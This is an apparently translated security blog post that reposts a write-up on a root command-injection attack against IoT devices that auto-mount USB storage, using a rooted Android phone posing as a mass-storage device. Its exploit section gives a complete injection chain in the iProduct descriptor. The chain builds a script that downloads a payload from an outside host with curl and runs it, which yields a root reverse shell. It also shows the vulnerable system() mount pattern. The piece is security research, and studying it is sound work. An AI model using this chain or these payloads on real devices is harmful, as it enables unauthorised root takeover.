25

针对USB外设的命令注入渗透

 4 years ago
source link: https://www.tuicool.com/articles/73AN3uf
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

riIvEjn.jpg!web

写在前面的话

当我看到【这篇报告】的时候,我突然意识到将USB作为物联网设备的攻击面,也许会是一件有趣的事情。现在很多设备都允许用户使用USB设备,然后自动执行某些操作,但这种自动化特性对于USB设备未免太过于信任了。

我发现,有的物联网设备会自动挂载任何连接到它的USB大容量存储设备,而且如果设备设置了某些特殊属性,那么设备可能会使用这些属性来创建挂载目录名。此外,很多挂载操作是通过调用C系统函数实现的,而恶意USB设备就可以通过这种方式来实现任意命令执行了。由于负责该操作的守护进程是以root权限运行的,因此攻击者就可以将USB设备插入到设备后等待几秒钟,然后就能够以root权限执行任意命令了。

这里,我打算将我的Android设备变成一个定制版的USB外设,然后进行测试。我是用的是一个已root的Nexus 5X,系统版本为Android 8.1。接下来,我们进入主题。

将Android作为大容量存储设备

这里我需要把Android设备作为USB大容量存储设备来使用,并设置一些由我控制的属性:产品名称字符串、产品模型字符串和磁盘标签。

我对ConfigFS不是非常了解,但是在面对/config/usb_gadget时,我打算使用ConfigFS方法来将我的设备变成一个大容量USB存储设备。我自己写了一个脚本来创建所有的条目,但在测试时,我遇到了如下提示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

我也不太懂为什么这样不行,但很明显这个方法在这里并不适用。于是我开始研究Android和Linux的内核源码,但源码看得我有些脑瓜疼…最终我发现,我只需要在设备上创建/bin/touch /tmp/haxxed,然后声明自己为1337即可,所以我把重点放在Android的init文件上。

通过分析Android的 init文件 ,我们会发现两个针对USB的不同.rc文件: init.usb.configfs.rcinit.usb.rc 。这两份文件都会查看 sys.usb.configfs属性,判断init.usb.configfs.rc文件使用的属性值是否为“1”,否则将使用init.usb.rc。在我的测试场景中,sys.usb.configfs为“0”,但我没有测试sys.usb.configfs为“1”时会发生什么。

探索未知区域

既然我们的主要分析目标落在了“ /sys/class/android_usb/android0”目录的身上,那么我们先看看这个目录里面有什么:

bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power
bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup
bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state
bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem
down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent
down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold
f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

其中的idVendor, idProduct, iProduct, iManufacturer, 和f_mass_storage看起来都非常眼熟。如果你熟悉ConfigFS的话,f_mass_storage的内容看起来跟mass_storage函数的内容也很相似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent

我的目标只是通过制作一个恶意的usb设备来渗透目标设备,而不是学习linux内核的内部工作原理以及如何将Android设置为usb外围设备。我打算以后再深入探讨这个问题,届时也许会写一篇更全面的博文。有很多关于源代码和设备本身的文章也许可以帮助您了解如何使用这个目录。

init.usb.rc文件的这几行配置吸引了我的注意:

write /sys/class/android_usb/android0/enable 0
            ....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1

那么当我将开发者设备插入目标设备并使用ADB连接时,这个函数会做什么呢?

bullhead:/sys/class/android_usb/android0 # cat functions
ffs

我发现,设备的ADB连接是通过FunctionFS实现的,而FunctionFS和ffs正好又是我的短板。这里需要修改其对应的值,然后将其设置为mass_storage来看看会发生什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

好吧,我的ADB会话就这样挂了。幸运的是,ADB可以通过TCP/IP来工作,于是乎:

adb tcpip 5555
adb connect 192.168.1.18:5555

连接成功后,我们就可以将USB设备变成大容量存储设备了:

bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable

制作镜像

在制作镜像时,我需要控制磁盘标签的值。主要是让目标设备将我们的设备识别为大容量存储设备,并完成设备加载:

dd if=/dev/zero of=backing.img count=50 bs=1M

这条命令可以创建一个名为backing.img的文件,大小为50MB,然后使用fdisk对其进行格式化处理:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

运行之后,效果如下:

Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.
Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.
Command (m for help): Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): 
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): 
Created a new partition 1 of type 'Linux' and of size 9 MiB.
Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
Command (m for help): The partition table has been altered.
Syncing disks.

接下来,给镜像添加一个DOS分区表,并使用FAT32格式:

# losetup --offset 1048576 -f backing.img /dev/loop0 
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0

化整为零

在镜像文件的帮助下,我们就可以实现完整功能的USB设备了:

$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell

在adb shell中运行下列命令:

$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable

如果一切顺利的话,你将会看到如下内容:

# lsusb -v -d 18d1:
Bus 003 Device 036: ID 18d1:4ee7 Google Inc. 
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0        64
  idVendor           0x18d1 Google Inc.
  idProduct          0x4ee7 
  bcdDevice            3.10
  iManufacturer           1 LGE
  iProduct                2 Nexus 5X
  iSerial                 3 0000000000000000
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           32
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0 
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           2
      bInterfaceClass         8 Mass Storage
      bInterfaceSubClass      6 SCSI
      bInterfaceProtocol     80 Bulk-Only
      iInterface              5 Mass Storage
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x01  EP 1 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               1
Device Qualifier (for other device speed):
  bLength                10
  bDescriptorType         6
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0        64
  bNumConfigurations      1
Device Status:     0x0000
  (Bus Powered)

设备信息如下:

$ ls -lh /dev/disk/by-id 
lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

设备加载:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

我们此时可以根据自己的需要修改相关参数:

# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:
Bus 003 Device 044: ID 18d1:1337 Google Inc. 
Device Descriptor:
            ....
  idProduct          0x1337 
            ....
  iManufacturer           1 Carve Systems
  iProduct                2 1337 Hacking USB
            ....

开始渗透

我利用的代码如下:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);

我的PoC漏洞利用步骤如下:

 1、向存在漏洞的守护进程的cwd注入一个shell脚本,然后生成一个反向Shell;
 2、使用sh执行该文件;

配置好Android设备后,我们就可以直接使用下列命令完成漏洞利用了:

echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable

完整的命令链代码如下:

# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable

命令运行完成后将创建下列文件(/a):

b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}she

ll

最后一条命令会使用“sh a”命令来执行文件,脚本会给我们返回一个反向Shell Payload:

$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)

至此,我们的漏洞利用就算正式完成了。

* 参考来源: carvesystems ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK